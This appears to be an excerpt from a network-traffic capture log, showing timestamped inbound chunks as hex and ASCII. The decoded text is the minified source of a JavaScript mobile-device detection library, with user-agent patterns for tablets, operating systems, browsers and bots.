31 32 7c 48 54 43 20 46 6c 79 65 72 7c 48 54 43 20 4a 65 74 73 74 72 65 61 6d 7c 48 54 43 2d 50 37 31 35 61 7c 48 54 
43 20 45 56 4f 20 56 69 65 77 20 34 47 7c 50 47 34 31 32 30 30 7c 50 47 30 39 34 31 30 22 2c 4d 6f 74 6f 72 6f 6c 61 54 
61 62 6c 65 74 3a 22 78 6f 6f 6d 7c 73 68 6f 6c 65 73 74 7c 4d 5a 36 31 35 7c 4d 5a 36 30 35 7c 4d 5a 35 30 35 7c 4d 5a 
36 30 31 7c 4d 5a 36 30 32 7c 4d 5a 36 30 33 7c 4d 5a 36 30 34 
Data Ascii: 0C\\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z",BlackBerryTablet:"PlayBook|RIM Tabl
et",HTCtablet:"HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410",Mot
orolaTablet:"xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604

2022-05-13 14:40:15 UTC 870 IN Data Raw: 74 3a 22 4c 65 6e 6f 76 6f 20 54 41 42 7c 49 64 65 61 28 54 61 62 7c 50 61 64 29 28 20 41 31 7c 41 31 30 7c 
20 4b 31 7c 29 7c 54 68 69 6e 6b 50 61 64 28 5b 20 5d 2b 29 3f 54 61 62 6c 65 74 7c 59 54 33 2d 58 39 30 4c 7c 59 54 
33 2d 58 39 30 46 7c 59 54 33 2d 58 39 30 58 7c 4c 65 6e 6f 76 6f 2e 2a 28 53 32 31 30 39 7c 53 32 31 31 30 7c 53 35 
30 30 30 7c 53 36 30 30 30 7c 4b 33 30 31 31 7c 41 33 30 30 30 7c 41 33 35 30 30 7c 41 31 30 30 30 7c 41 32 31 30 37 
7c 41 32 31 30 39 7c 41 31 31 30 37 7c 41 35 35 30 30 7c 41 37 36 30 30 7c 42 36 30 30 30 7c 42 38 30 30 30 7c 42 38 
30 38 30 29 28 2d 7c 29 28 46 4c 7c 46 7c 48 56 7c 48 7c 29 22 2c 44 65 6c 6c 54 61 62 6c 65 74 3a 22 56 65 6e 75 65 
20 31 31 7c 56 65 6e 75 65 20 38 7c 56 65 6e 75 65 20 37 7c 44 65 6c 6c 
Data Ascii: t:"Lenovo TAB|Idea(Tab|Pad)( A1|A10| K1|)|ThinkPad([ ]+)?Tablet|YT3-X90L|YT3-X90F|YT3-X90X|Lenovo.*
(S2109|S2110|S5000|S6000|K3011|A3000|A3500|A1000|A2107|A2109|A1107|A5500|A7600|B6000|B8000|B8080)(-|)
(FL|F|HV|H|)",DellTablet:"Venue 11|Venue 8|Venue 7|Dell

2022-05-13 14:40:15 UTC 871 IN Data Raw: 31 7c 46 41 4d 49 4c 59 50 41 44 7c 29 28 62 7c 63 7c 29 28 47 31 30 7c 20 43 6f 62 61 6c 74 7c 20 54 49 54 
41 4e 49 55 4d 28 48 44 7c 29 7c 20 58 65 6e 6f 6e 7c 20 4e 65 6f 6e 7c 58 53 4b 7c 20 32 7c 20 58 53 20 32 7c 20 50 4c 
41 54 49 4e 55 4d 7c 20 43 41 52 42 4f 4e 7c 47 41 4d 45 50 41 44 29 5c 5c 62 22 2c 41 69 6e 6f 6c 54 61 62 6c 65 74 
3a 22 4e 4f 56 4f 37 7c 4e 4f 56 4f 38 7c 4e 4f 56 4f 31 30 7c 4e 6f 76 6f 37 41 75 72 6f 72 61 7c 4e 6f 76 6f 37 42 61 73 
69 63 7c 4e 4f 56 4f 37 50 41 4c 41 44 49 4e 7c 6e 6f 76 6f 39 2d 53 70 61 72 6b 22 2c 4e 6f 6b 69 61 4c 75 6d 69 61 54 
61 62 6c 65 74 3a 22 4c 75 6d 69 61 20 32 35 32 30 22 2c 53 6f 6e 79 54 61 62 6c 65 74 3a 22 53 6f 6e 79 2e 2a 54 61 
62 6c 65 74 7c 58 70 65 72 69 61 20 54 61 62 6c 65 74 7c 53 
Data Ascii: 1|FAMILYPAD|)(b|c|)(G10| Cobalt| TITANIUM(HD|)| Xenon| Neon|XSK| 2| XS 2| PLATINUM| CARB
ON|GAMEPAD)\\b",AinolTablet:"NOVO7|NOVO8|NOVO10|Novo7Aurora|Novo7Basic|NOVO7PALADIN|novo9-Spark",Nok
iaLumiaTablet:"Lumia 2520",SonyTablet:"Sony.*Tablet|Xperia Tablet|S
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2022-05-13 14:40:15 UTC 873 IN Data Raw: 44 35 33 31 7c 4d 54 56 2d 50 31 31 30 31 7c 4d 54 56 2d 50 4e 44 35 33 30 29 22 2c 52 6f 63 6b 43 68 69 70 
54 61 62 6c 65 74 3a 22 41 6e 64 72 6f 69 64 2e 2a 28 52 4b 32 38 31 38 7c 52 4b 32 38 30 38 41 7c 52 4b 32 39 31 38 
7c 52 4b 33 30 36 36 29 7c 52 4b 32 37 33 38 7c 52 4b 32 38 30 38 41 22 2c 46 6c 79 54 61 62 6c 65 74 3a 22 49 51 33 
31 30 7c 46 6c 79 20 56 69 73 69 6f 6e 22 2c 62 71 54 61 62 6c 65 74 3a 22 41 6e 64 72 6f 69 64 2e 2a 28 62 71 29 3f 2e 
2a 28 45 6c 63 61 6e 6f 7c 43 75 72 69 65 7c 45 64 69 73 6f 6e 7c 4d 61 78 77 65 6c 6c 7c 4b 65 70 6c 65 72 7c 50 61 73 
63 61 6c 7c 54 65 73 6c 61 7c 48 79 70 61 74 69 61 7c 50 6c 61 74 6f 6e 7c 4e 65 77 74 6f 6e 7c 4c 69 76 69 6e 67 73 74 
6f 6e 65 7c 43 65 72 76 61 6e 74 65 73 7c 41 76 61 6e 74 7c 41 
Data Ascii: D531|MTV-P1101|MTV-PND530)",RockChipTablet:"Android.*(RK2818|RK2808A|RK2918|RK3066)|RK27
38|RK2808A",FlyTablet:"IQ310|Fly Vision",bqTablet:"Android.*(bq)?.*(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|
Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant|A

2022-05-13 14:40:15 UTC 874 IN Data Raw: 42 2d 37 33 30 48 44 7c 54 42 2d 37 32 32 48 44 7c 54 42 2d 37 32 30 48 44 7c 54 42 2d 37 30 30 48 44 7c 
54 42 2d 35 30 30 48 44 7c 54 42 2d 34 37 30 48 44 7c 54 42 2d 34 33 31 48 44 7c 54 42 2d 34 33 30 48 44 7c 54 42 2d 
35 30 36 7c 54 42 2d 35 30 34 7c 54 42 2d 34 34 36 7c 54 42 2d 34 33 36 7c 54 42 2d 34 31 36 7c 54 42 2d 31 34 36 53 
45 7c 54 42 2d 31 32 36 53 45 22 2c 50 6c 61 79 73 74 61 74 69 6f 6e 54 61 62 6c 65 74 3a 22 50 6c 61 79 73 74 61 74 
69 6f 6e 2e 2a 28 50 6f 72 74 61 62 6c 65 7c 56 69 74 61 29 22 2c 54 72 65 6b 73 74 6f 72 54 61 62 6c 65 74 3a 22 53 54 
31 30 34 31 36 2d 31 7c 56 54 31 30 34 31 36 2d 31 7c 53 54 37 30 34 30 38 2d 31 7c 53 54 37 30 32 78 78 2d 31 7c 53 
54 37 30 32 78 78 2d 32 7c 53 54 38 30 32 30 38 7c 53 54 39 37 32 31 36 
Data Ascii: B-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-
446|TB-436|TB-416|TB-146SE|TB-126SE",PlaystationTablet:"Playstation.*(Portable|Vita)",TrekstorTablet:"ST10416-
1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216

2022-05-13 14:40:15 UTC 876 IN Data Raw: 33 47 7c 50 4c 54 39 37 33 35 7c 50 4c 54 39 37 36 30 47 7c 50 4c 54 39 37 37 30 47 29 5c 5c 62 22 2c 59 4f 
4e 45 53 54 61 62 6c 65 74 3a 22 42 51 31 30 37 38 7c 42 43 31 30 30 33 7c 42 43 31 30 37 37 7c 52 4b 39 37 30 32 7c 
42 43 39 37 33 30 7c 42 43 39 30 30 31 7c 49 54 39 30 30 31 7c 42 43 37 30 30 38 7c 42 43 37 30 31 30 7c 42 43 37 30 
38 7c 42 43 37 32 38 7c 42 43 37 30 31 32 7c 42 43 37 30 33 30 7c 42 43 37 30 32 37 7c 42 43 37 30 32 36 22 2c 43 68 
61 6e 67 4a 69 61 54 61 62 6c 65 74 3a 22 54 50 43 37 31 30 32 7c 54 50 43 37 31 30 33 7c 54 50 43 37 31 30 35 7c 54 
50 43 37 31 30 36 7c 54 50 43 37 31 30 37 7c 54 50 43 37 32 30 31 7c 54 50 43 37 32 30 33 7c 54 50 43 37 32 30 35 7c 
54 50 43 37 32 31 30 7c 54 50 43 37 37 30 38 7c 54 50 43 37 37 30 39 7c 
Data Ascii: 3G|PLT9735|PLT9760G|PLT9770G)\\b",YONESTablet:"BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001
|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026",ChangJiaTablet:"TPC7102|TPC7103|TPC71
05|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|

2022-05-13 14:40:15 UTC 877 IN Data Raw: 3f 39 38 37 7c 43 54 50 28 2d 29 3f 39 38 38 7c 43 54 50 28 2d 29 3f 39 38 39 22 2c 4d 65 64 69 61 74 65 6b 
54 61 62 6c 65 74 3a 22 5c 5c 62 4d 54 38 31 32 35 7c 4d 54 38 33 38 39 7c 4d 54 38 31 33 35 7c 4d 54 38 33 37 37 5c 
5c 62 22 2c 43 6f 6e 63 6f 72 64 65 54 61 62 6c 65 74 3a 22 43 6f 6e 63 6f 72 64 65 28 5b 20 5d 2b 29 3f 54 61 62 7c 43 
6f 6e 43 6f 72 64 65 20 52 65 61 64 4d 61 6e 22 2c 47 6f 43 6c 65 76 65 72 54 61 62 6c 65 74 3a 22 47 4f 43 4c 45 56 45 
52 20 54 41 42 7c 41 37 47 4f 43 4c 45 56 45 52 7c 4d 31 30 34 32 7c 4d 37 38 34 31 7c 4d 37 34 32 7c 52 31 30 34 32 
42 4b 7c 52 31 30 34 31 7c 54 41 42 20 41 39 37 35 7c 54 41 42 20 41 37 38 34 32 7c 54 41 42 20 41 37 34 31 7c 54 41 
42 20 41 37 34 31 4c 7c 54 41 42 20 4d 37 32 33 47 7c 54 41 42 20 
Data Ascii: ?987|CTP(-)?988|CTP(-)?989",MediatekTablet:"\\bMT8125|MT8389|MT8135|MT8377\\b",ConcordeT
ablet:"Concorde([ ]+)?Tab|ConCorde ReadMan",GoCleverTablet:"GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742
|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|TAB 

2022-05-13 14:40:15 UTC 878 IN Data Raw: 22 53 6d 61 72 74 5b 20 27 5d 3f 54 41 42 5b 20 5d 2b 3f 5b 30 2d 39 5d 2b 7c 46 61 6d 69 6c 79 5b 20 27 5d 
3f 54 41 42 32 22 2c 52 6f 73 73 4d 6f 6f 72 54 61 62 6c 65 74 3a 22 52 4d 2d 37 39 30 7c 52 4d 2d 39 39 37 7c 52 4d 44 
2d 38 37 38 47 7c 52 4d 44 2d 39 37 34 52 7c 52 4d 54 2d 37 30 35 41 7c 52 4d 54 2d 37 30 31 7c 52 4d 45 2d 36 30 31 
7c 52 4d 54 2d 35 30 31 7c 52 4d 54 2d 37 31 31 22 2c 69 4d 6f 62 69 6c 65 54 61 62 6c 65 74 3a 22 69 2d 6d 6f 62 69 
6c 65 20 69 2d 6e 6f 74 65 22 2c 54 6f 6c 69 6e 6f 54 61 62 6c 65 74 3a 22 74 6f 6c 69 6e 6f 20 74 61 62 20 5b 30 2d 39 
2e 5d 2b 7c 74 6f 6c 69 6e 6f 20 73 68 69 6e 65 22 2c 41 75 64 69 6f 53 6f 6e 69 63 54 61 62 6c 65 74 3a 22 5c 5c 62 43 
2d 32 32 51 7c 54 37 2d 51 43 7c 54 2d 31 37 42 7c 54 2d 31 37 
Data Ascii: "Smart[ ']?TAB[ ]+?[0-9]+|Family[ ']?TAB2",RossMoorTablet:"RM-790|RM-997|RMD-878G|RMD-974R|RMT-
705A|RMT-701|RME-601|RMT-501|RMT-711",iMobileTablet:"i-mobile i-note",TolinoTablet:"tolino tab [0-9.]+|tolino shi
ne",AudioSonicTablet:"\\bC-22Q|T7-QC|T-17B|T-17

2022-05-13 14:40:15 UTC 880 IN Data Raw: 30 33 30 7c 54 65 6c 65 70 61 64 31 30 33 32 7c 54 65 6c 65 50 41 44 37 33 30 7c 54 65 6c 65 50 41 44 37 33 
31 7c 54 65 6c 65 50 41 44 37 33 32 7c 54 65 6c 65 50 41 44 37 33 35 51 7c 54 65 6c 65 50 41 44 38 33 30 7c 54 65 6c 
65 50 41 44 39 37 33 30 7c 54 65 6c 65 50 41 44 37 39 35 7c 4d 65 67 61 50 41 44 20 31 33 33 31 7c 4d 65 67 61 50 41 
44 20 31 38 35 31 7c 4d 65 67 61 50 41 44 20 32 31 35 31 22 2c 56 69 65 77 73 6f 6e 69 63 54 61 62 6c 65 74 3a 22 56 
69 65 77 50 61 64 20 31 30 70 69 7c 56 69 65 77 50 61 64 20 31 30 65 7c 56 69 65 77 50 61 64 20 31 30 73 7c 56 69 65 
77 50 61 64 20 45 37 32 7c 56 69 65 77 50 61 64 37 7c 56 69 65 77 50 61 64 20 45 31 30 30 7c 56 69 65 77 50 61 64 20 
37 65 7c 56 69 65 77 53 6f 6e 69 63 20 56 42 37 33 33 7c 56 42 31 30 30 
Data Ascii: 030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|Tele
PAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151",ViewsonicTablet:"ViewPad 10pi|ViewPad 10e|ViewPad 10s
|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100

2022-05-13 14:40:15 UTC 881 IN Data Raw: 31 30 5c 5c 62 7c 5c 5c 62 54 37 36 30 56 45 5c 5c 62 7c 5c 5c 62 54 37 32 30 48 44 5c 5c 62 7c 5c 5c 62 50 
37 36 5c 5c 62 7c 5c 5c 62 50 37 33 5c 5c 62 7c 5c 5c 62 50 37 31 5c 5c 62 7c 5c 5c 62 50 37 32 5c 5c 62 7c 5c 5c 62 54 
37 32 30 53 45 5c 5c 62 7c 5c 5c 62 43 35 32 30 54 69 5c 5c 62 7c 5c 5c 62 54 37 36 30 5c 5c 62 7c 5c 5c 62 54 37 32 30 
56 45 5c 5c 62 7c 54 37 32 30 2d 33 47 45 7c 54 37 32 30 2d 57 69 46 69 22 2c 4f 6e 64 61 54 61 62 6c 65 74 3a 22 5c 
5c 62 28 56 39 37 35 69 7c 56 69 33 30 7c 56 58 35 33 30 7c 56 37 30 31 7c 56 69 36 30 7c 56 37 30 31 73 7c 56 69 35 
30 7c 56 38 30 31 73 7c 56 37 31 39 7c 56 78 36 31 30 77 7c 56 58 36 31 30 57 7c 56 38 31 39 69 7c 56 69 31 30 7c 56 
58 35 38 30 57 7c 56 69 31 30 7c 56 37 31 31 73 7c 56 38 31 33 7c 
Data Ascii: 10\\b|\\bT760VE\\b|\\bT720HD\\b|\\bP76\\b|\\bP73\\b|\\bP71\\b|\\bP72\\b|\\bT720SE\\b|\\bC520Ti\\b|\\bT760\\b
|\\bT720VE\\b|T720-3GE|T720-WiFi",OndaTablet:"\\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|V
x610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|

2022-05-13 14:40:15 UTC 882 IN Data Raw: 7c 50 4f 50 7c 4d 49 4e 54 7c 45 50 53 49 4c 4f 4e 7c 42 52 4f 41 44 57 41 59 7c 4a 55 4d 50 7c 48 4f 50 7c 
4c 45 47 45 4e 44 7c 4e 45 57 20 41 47 45 7c 4c 49 4e 45 7c 41 44 56 41 4e 43 45 7c 46 45 45 4c 7c 46 4f 4c 4c 4f 57 7c 
4c 49 4b 45 7c 4c 49 4e 4b 7c 4c 49 56 45 7c 54 48 49 4e 4b 7c 46 52 45 45 44 4f 4d 7c 43 48 49 43 41 47 4f 7c 43 4c 45 
56 45 4c 41 4e 44 7c 42 41 4c 54 49 4d 4f 52 45 2d 47 48 7c 49 4f 57 41 7c 42 4f 53 54 4f 4e 7c 53 45 41 54 54 4c 45 7c 
50 48 4f 45 4e 49 58 7c 44 41 4c 4c 41 53 7c 49 4e 20 31 30 31 7c 4d 61 73 74 65 72 43 68 65 66 29 5c 5c 62 22 2c 4d 
69 54 61 62 6c 65 74 3a 22 5c 5c 62 4d 49 20 50 41 44 5c 5c 62 7c 5c 5c 62 48 4d 20 4e 4f 54 45 20 31 57 5c 5c 62 22 2c 
4e 69 62 69 72 75 54 61 62 6c 65 74 3a 22 4e 69 62 69 72 75 
Data Ascii: |POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LI
KE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALL
AS|IN 101|MasterChef)\\b",MiTablet:"\\bMI PAD\\b|\\bHM NOTE 1W\\b",NibiruTablet:"Nibiru
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2022-05-13 14:40:15 UTC 884 IN Data Raw: 20 50 68 6f 6e 65 20 38 2e 30 7c 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 20 4f 53 7c 58 42 4c 57 50 37 7c 5a 
75 6e 65 57 50 37 7c 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 5b 32 33 5d 3b 20 41 52 4d 3b 22 2c 69 4f 53 3a 22 5c 5c 
62 69 50 68 6f 6e 65 2e 2a 4d 6f 62 69 6c 65 7c 5c 5c 62 69 50 6f 64 7c 5c 5c 62 69 50 61 64 22 2c 4d 65 65 47 6f 4f 53 
3a 22 4d 65 65 47 6f 22 2c 4d 61 65 6d 6f 4f 53 3a 22 4d 61 65 6d 6f 22 2c 4a 61 76 61 4f 53 3a 22 4a 32 4d 45 2f 7c 5c 
5c 62 4d 49 44 50 5c 5c 62 7c 5c 5c 62 43 4c 44 43 5c 5c 62 22 2c 77 65 62 4f 53 3a 22 77 65 62 4f 53 7c 68 70 77 4f 53 
22 2c 62 61 64 61 4f 53 3a 22 5c 5c 62 42 61 64 61 5c 5c 62 22 2c 42 52 45 57 4f 53 3a 22 42 52 45 57 22 7d 2c 75 61 73 
3a 7b 43 68 72 6f 6d 65 3a 22 5c 5c 62 43 72 4d 6f 5c 5c 62 
Data Ascii:  Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;",iOS:"\\biPhone.*Mobile|\\biPod
|\\biPad",MeeGoOS:"MeeGo",MaemoOS:"Maemo",JavaOS:"J2ME/|\\bMIDP\\b|\\bCLDC\\b",webOS:"webOS|hpwOS",b
adaOS:"\\bBada\\b",BREWOS:"BREW"},uas:{Chrome:"\\bCrMo\\b

2022-05-13 14:40:15 UTC 885 IN Data Raw: 78 3a 5b 22 46 69 72 65 66 6f 78 2f 5b 56 45 52 5d 22 2c 22 46 78 69 4f 53 2f 5b 56 45 52 5d 22 5d 2c 46 65 
6e 6e 65 63 3a 22 46 65 6e 6e 65 63 2f 5b 56 45 52 5d 22 2c 45 64 67 65 3a 22 45 64 67 65 2f 5b 56 45 52 5d 22 2c 49 
45 3a 5b 22 49 45 4d 6f 62 69 6c 65 2f 5b 56 45 52 5d 3b 22 2c 22 49 45 4d 6f 62 69 6c 65 20 5b 56 45 52 5d 22 2c 22 4d 
53 49 45 20 5b 56 45 52 5d 3b 22 2c 22 54 72 69 64 65 6e 74 2f 5b 30 2d 39 2e 5d 2b 3b 2e 2a 72 76 3a 5b 56 45 52 5d 
22 5d 2c 4e 65 74 46 72 6f 6e 74 3a 22 4e 65 74 46 72 6f 6e 74 2f 5b 56 45 52 5d 22 2c 4e 6f 6b 69 61 42 72 6f 77 73 65 
72 3a 22 4e 6f 6b 69 61 42 72 6f 77 73 65 72 2f 5b 56 45 52 5d 22 2c 4f 70 65 72 61 3a 5b 22 20 4f 50 52 2f 5b 56 45 52 
5d 22 2c 22 4f 70 65 72 61 20 4d 69 6e 69 2f 5b 56 45 52 5d 22 
Data Ascii: x:["Firefox/[VER]","FxiOS/[VER]"],Fennec:"Fennec/[VER]",Edge:"Edge/[VER]",IE:["IEMobile/[VER];","IEMobile 
[VER]","MSIE [VER];","Trident/[0-9.]+;.*rv:[VER]"],NetFront:"NetFront/[VER]",NokiaBrowser:"NokiaBrowser/[VER]",Opera:
[" OPR/[VER]","Opera Mini/[VER]"

2022-05-13 14:40:15 UTC 886 IN Data Raw: 72 63 68 42 6f 74 7c 54 77 69 74 74 65 72 62 6f 74 7c 54 77 65 65 74 6d 65 6d 65 42 6f 74 7c 54 77 69 6b 6c 
65 7c 50 61 70 65 72 4c 69 42 6f 74 7c 57 6f 74 62 6f 78 7c 55 6e 77 69 6e 64 46 65 74 63 68 6f 72 7c 45 78 61 62 6f 74 
7c 4d 4a 31 32 62 6f 74 7c 59 61 6e 64 65 78 49 6d 61 67 65 73 7c 54 75 72 6e 69 74 69 6e 42 6f 74 7c 50 69 6e 67 64 6f 
6d 22 2c 4d 6f 62 69 6c 65 42 6f 74 3a 22 47 6f 6f 67 6c 65 62 6f 74 2d 4d 6f 62 69 6c 65 7c 41 64 73 42 6f 74 2d 47 6f 6f 
67 6c 65 2d 4d 6f 62 69 6c 65 7c 59 61 68 6f 6f 53 65 65 6b 65 72 2f 4d 31 41 31 2d 52 32 44 32 22 2c 44 65 73 6b 74 6f 
70 4d 6f 64 65 3a 22 57 50 44 65 73 6b 74 6f 70 22 2c 54 56 3a 22 53 6f 6e 79 44 54 56 7c 48 62 62 54 56 22 2c 57 65 62 
4b 69 74 3a 22 28 77 65 62 6b 69 74 29 5b 20 2f 5d 28 
Data Ascii: rchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|
TurnitinBot|Pingdom",MobileBot:"Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2",Desktop
Mode:"WPDesktop",TV:"SonyDTV|HbbTV",WebKit:"(webkit)[ /](

2022-05-13 14:40:15 UTC 888 IN Data Raw: 6b 67 74 28 20 7c 5c 2f 29 7c 6b 6c 6f 6e 7c 6b 70 74 20 7c 6b 77 63 5c 2d 7c 6b 79 6f 28 63 7c 6b 29 7c 6c 
65 28 6e 6f 7c 78 69 29 7c 6c 67 28 20 67 7c 5c 2f 28 6b 7c 6c 7c 75 29 7c 35 30 7c 35 34 7c 5c 2d 5b 61 2d 77 5d 29 7c 
6c 69 62 77 7c 6c 79 6e 78 7c 6d 31 5c 2d 77 7c 6d 33 67 61 7c 6d 35 30 5c 2f 7c 6d 61 28 74 65 7c 75 69 7c 78 6f 29 7c 
6d 63 28 30 31 7c 32 31 7c 63 61 29 7c 6d 5c 2d 63 72 7c 6d 65 28 72 63 7c 72 69 29 7c 6d 69 28 6f 38 7c 6f 61 7c 74 73 
29 7c 6d 6d 65 66 7c 6d 6f 28 30 31 7c 30 32 7c 62 69 7c 64 65 7c 64 6f 7c 74 28 5c 2d 7c 20 7c 6f 7c 76 29 7c 7a 7a 29 
7c 6d 74 28 35 30 7c 70 31 7c 76 20 29 7c 6d 77 62 70 7c 6d 79 77 61 7c 6e 31 30 5b 30 2d 32 5d 7c 6e 32 30 5b 32 2d 
33 5d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 
Data Ascii: kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc
(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|
n30(0|2)|n50(0|2|

2022-05-13 14:40:15 UTC 889 IN Data Raw: 28 62 3d 5b 62 5d 29 2c 69 3d 62 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 69 3b 2b 2b 65 29 63 3d 62 5b 
65 5d 2c 6a 3d 63 2e 69 6e 64 65 78 4f 66 28 22 5b 56 45 52 5d 22 29 2c 6a 3e 3d 30 26 26 28 63 3d 63 2e 73 75 62 73 
74 72 69 6e 67 28 30 2c 6a 29 2b 22 28 5b 5c 5c 77 2e 5f 5c 5c 2b 5d 2b 29 22 2b 63 2e 73 75 62 73 74 72 69 6e 67 28 6
a 2b 35 29 29 2c 62 5b 65 5d 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2c 22 69 22 29 3b 6b 2e 70 72 6f 70 73 5b 61 5d 3d 
62 7d 64 28 6b 2e 6f 73 73 29 2c 64 28 6b 2e 70 68 6f 6e 65 73 29 2c 64 28 6b 2e 74 61 62 6c 65 74 73 29 2c 64 28 6b 
2e 75 61 73 29 2c 64 28 6b 2e 75 74 69 6c 73 29 2c 6b 2e 6f 73 73 30 3d 7b 57 69 6e 64 6f 77 73 50 68 6f 6e 65 4f 53 3a 
6b 2e 6f 73 73 2e 57 69 6e 64 6f 77 73 50 68 6f 6e 65 4f 53 2c 57 69 
Data Ascii: (b=[b]),i=b.length,e=0;e<i;++e)c=b[e],j=c.indexOf("[VER]"),j>=0&&(c=c.substring(0,j)+"([\\w._\\+]+)"+c.subst
ring(j+5)),b[e]=new RegExp(c,"i");k.props[a]=b}d(k.oss),d(k.phones),d(k.tablets),d(k.uas),d(k.utils),k.oss0={WindowsPhon
eOS:k.oss.WindowsPhoneOS,Wi

2022-05-13 14:40:15 UTC 890 IN Data Raw: 29 29 3a 76 6f 69 64 28 66 2e 69 73 4d 6f 62 69 6c 65 46 61 6c 6c 62 61 63 6b 28 63 29 3f 28 69 3d 65 2e 69 
73 50 68 6f 6e 65 53 69 7a 65 64 28 64 29 2c 69 3d 3d 3d 62 3f 28 61 2e 6d 6f 62 69 6c 65 3d 66 2e 46 41 4c 4c 42 41 43 
4b 5f 4d 4f 42 49 4c 45 2c 61 2e 74 61 62 6c 65 74 3d 61 2e 70 68 6f 6e 65 3d 6e 75 6c 6c 29 3a 69 3f 28 61 2e 6d 6f 62 
69 6c 65 3d 61 2e 70 68 6f 6e 65 3d 66 2e 46 41 4c 4c 42 41 43 4b 5f 50 48 4f 4e 45 2c 61 2e 74 61 62 6c 65 74 3d 6e 75 
6c 6c 29 3a 28 61 2e 6d 6f 62 69 6c 65 3d 61 2e 74 61 62 6c 65 74 3d 66 2e 46 41 4c 4c 42 41 43 4b 5f 54 41 42 4c 45 
54 2c 61 2e 70 68 6f 6e 65 3d 6e 75 6c 6c 29 29 3a 66 2e 69 73 54 61 62 6c 65 74 46 61 6c 6c 62 61 63 6b 28 63 29 3f 28 
61 2e 6d 6f 62 69 6c 65 3d 61 2e 74 61 62 6c 65 74 3d 66 2e 
Data Ascii: )):void(f.isMobileFallback(c)?(i=e.isPhoneSized(d),i===b?(a.mobile=f.FALLBACK_MOBILE,a.tablet=a.ph
one=null):i?(a.mobile=a.phone=f.FALLBACK_PHONE,a.tablet=null):(a.mobile=a.tablet=f.FALLBACK_TABLET,a
.phone=null)):f.isTabletFallback(c)?(a.mobile=a.tablet=f.

2022-05-13 14:40:15 UTC 892 IN Data Raw: 76 65 72 73 69 6f 6e 28 22 69 50 61 64 22 29 3c 34 2e 33 7c 7c 61 2e 6f 73 28 22 69 4f 53 22 29 26 26 61 2e 
76 65 72 73 69 6f 6e 28 22 69 50 68 6f 6e 65 22 29 3c 33 2e 31 7c 7c 61 2e 6f 73 28 22 69 4f 53 22 29 26 26 61 2e 76 65 
72 73 69 6f 6e 28 22 69 50 6f 64 22 29 3c 33 2e 31 7c 7c 61 2e 69 73 28 22 42 6c 61 63 6b 62 65 72 72 79 22 29 26 26 
61 2e 76 65 72 73 69 6f 6e 28 22 42 6c 61 63 6b 42 65 72 72 79 22 29 3e 3d 35 26 26 61 2e 76 65 72 73 69 6f 6e 28 22 
42 6c 61 63 6b 42 65 72 72 79 22 29 3c 36 7c 7c 61 2e 76 65 72 73 69 6f 6e 28 22 4f 70 65 72 61 20 4d 69 6e 69 22 29 3
e 3d 35 26 26 61 2e 76 65 72 73 69 6f 6e 28 22 4f 70 65 72 61 20 4d 69 6e 69 22 29 3c 3d 36 2e 35 26 26 28 61 2e 76 65 
72 73 69 6f 6e 28 22 41 6e 64 72 6f 69 64 22 29 3e 3d 32 2e 33 7c 
Data Ascii: version("iPad")<4.3||a.os("iOS")&&a.version("iPhone")<3.1||a.os("iOS")&&a.version("iPod")<3.1||a.is("Blackbe
rry")&&a.version("BlackBerry")>=5&&a.version("BlackBerry")<6||a.version("Opera Mini")>=5&&a.version("Opera Mini")
<=6.5&&(a.version("Android")>=2.3|

2022-05-13 14:40:15 UTC 893 IN Data Raw: 6f 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 61 63 68 65 2e 6f 73 3d 
3d 3d 62 26 26 28 74 68 69 73 2e 5f 63 61 63 68 65 2e 6f 73 3d 66 2e 64 65 74 65 63 74 4f 53 28 74 68 69 73 2e 75 61 
29 29 2c 74 68 69 73 2e 5f 63 61 63 68 65 2e 6f 73 7d 2c 76 65 72 73 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 
65 74 75 72 6e 20 66 2e 67 65 74 56 65 72 73 69 6f 6e 28 61 2c 74 68 69 73 2e 75 61 29 7d 2c 76 65 72 73 69 6f 6e 53 
